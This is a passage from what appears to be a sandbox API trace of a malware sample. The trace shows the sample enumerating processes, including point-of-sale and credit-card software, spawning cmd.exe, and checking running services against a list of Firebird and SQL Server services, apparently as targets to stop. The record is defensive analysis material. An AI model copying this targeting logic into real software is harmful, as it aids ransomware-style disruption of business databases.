	[0071.243] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0071.244] lstrlenW (lpString="accupos.exe") returned 11
	[0071.244] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0071.245] lstrlenW (lpString="afr38.exe") returned 9
	[0071.245] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0071.246] lstrlenW (lpString="aldelo.exe") returned 10
	[0071.246] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0071.247] lstrlenW (lpString="ccv_server.exe") returned 14
	[0071.247] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0071.247] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0071.248] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0071.248] lstrlenW (lpString="creditservice.exe") returned 17
	[0071.248] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0071.249] lstrlenW (lpString="edcsvr.exe") returned 10
	[0071.249] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0071.250] lstrlenW (lpString="fpos.exe") returned 8
	[0071.250] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0071.251] lstrlenW (lpString="isspos.exe") returned 10
	[0071.251] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0071.251] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0071.251] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0071.252] lstrlenW (lpString="omnipos.exe") returned 11
	[0071.252] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0071.253] lstrlenW (lpString="spcwin.exe") returned 10
	[0071.253] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0071.254] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0071.254] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0071.254] lstrlenW (lpString="utg2.exe") returned 8
	[0071.254] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0071.255] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0071.255] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0071.256] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0071.256] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0071.257] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0071.257] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0071.257] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0071.257] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0071.258] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0071.258] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.413] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.413] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.414] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.414] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0071.414] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0071.414] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0071.415] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0071.415] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0071.416] lstrlenW (lpString="sc.exe") returned 6
	[0071.416] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0071.417] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0071.417] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0071.417] lstrlenW (lpString="UsoClient.exe") returned 13
	[0071.417] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.418] lstrlenW (lpString="conhost.exe") returned 11
	[0071.418] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.419] lstrlenW (lpString="conhost.exe") returned 11
	[0071.419] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.419] lstrlenW (lpString="conhost.exe") returned 11
	[0071.419] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.420] lstrlenW (lpString="svchost.exe") returned 11
	[0071.420] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0071.421] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0071.421] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.421] lstrlenW (lpString="svchost.exe") returned 11
	[0071.421] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0071.422] lstrlenW (lpString="cmd.exe") returned 7
	[0071.422] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0071.422] lstrlenW (lpString="conhost.exe") returned 11
	[0071.423] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0071.423] lstrlenW (lpString="dllhost.exe") returned 11
	[0071.423] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0071.424] CloseHandle (hObject=0x324) returned 1
	[0071.424] Sleep (dwMilliseconds=0x1f4) 
	[0072.504] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53eec8
	[0072.504] EnumServicesStatusExW (in: hSCManager=0x53eec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0072.505] GetLastError () returned 0xea
	[0072.505] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x58af48
	[0072.505] EnumServicesStatusExW (in: hSCManager=0x53eec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x58af48, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x58af48, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0072.506] CloseServiceHandle (hSCObject=0x53eec8) returned 1
	[0072.506] lstrlenW (lpString="Appinfo") returned 7
	[0072.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0072.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0072.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0072.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0072.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0072.506] lstrlenW (lpString="AppXSvc") returned 7
	[0072.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0072.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0072.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0072.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0072.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0072.506] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0072.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0072.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0072.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0072.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0072.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0072.506] lstrlenW (lpString="Audiosrv") returned 8
	[0072.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0072.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0072.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0072.507] lstrlenW (lpString="BFE") returned 3
	[0072.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0072.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0072.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0072.507] lstrlenW (lpString="BITS") returned 4
	[0072.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0072.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0072.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0072.507] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0072.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0072.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0072.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0072.507] lstrlenW (lpString="CDPSvc") returned 6
	[0072.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0072.507] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0072.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0072.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0072.507] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0072.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0072.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0072.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0072.508] lstrlenW (lpString="CryptSvc") returned 8
	[0072.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0072.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0072.508] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0072.508] lstrlenW (lpString="DcomLaunch") returned 10
	[0072.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0072.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0072.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0072.508] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0072.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0072.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0072.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0072.508] lstrlenW (lpString="Dhcp") returned 4
	[0072.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0072.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0072.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0072.508] lstrlenW (lpString="Dnscache") returned 8
	[0072.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0072.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0072.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0072.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0072.509] lstrlenW (lpString="DoSvc") returned 5
	[0072.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0072.509] lstrlenW (lpString="DPS") returned 3
	[0072.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0072.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0072.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0072.509] lstrlenW (lpString="DusmSvc") returned 7
	[0072.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0072.509] lstrlenW (lpString="EventLog") returned 8
	[0072.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0072.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0072.509] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0072.509] lstrlenW (lpString="EventSystem") returned 11
	[0072.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0072.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0072.509] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0072.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0072.509] lstrlenW (lpString="FontCache") returned 9
	[0072.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0072.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0072.509] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0072.509] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0072.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0072.510] lstrlenW (lpString="gpsvc") returned 5
	[0072.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0072.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0072.510] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0072.510] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0072.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0072.510] lstrlenW (lpString="iphlpsvc") returned 8
	[0072.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0072.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0072.510] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0072.510] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0072.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0072.510] lstrlenW (lpString="KeyIso") returned 6
	[0072.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0072.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0072.510] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0072.510] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
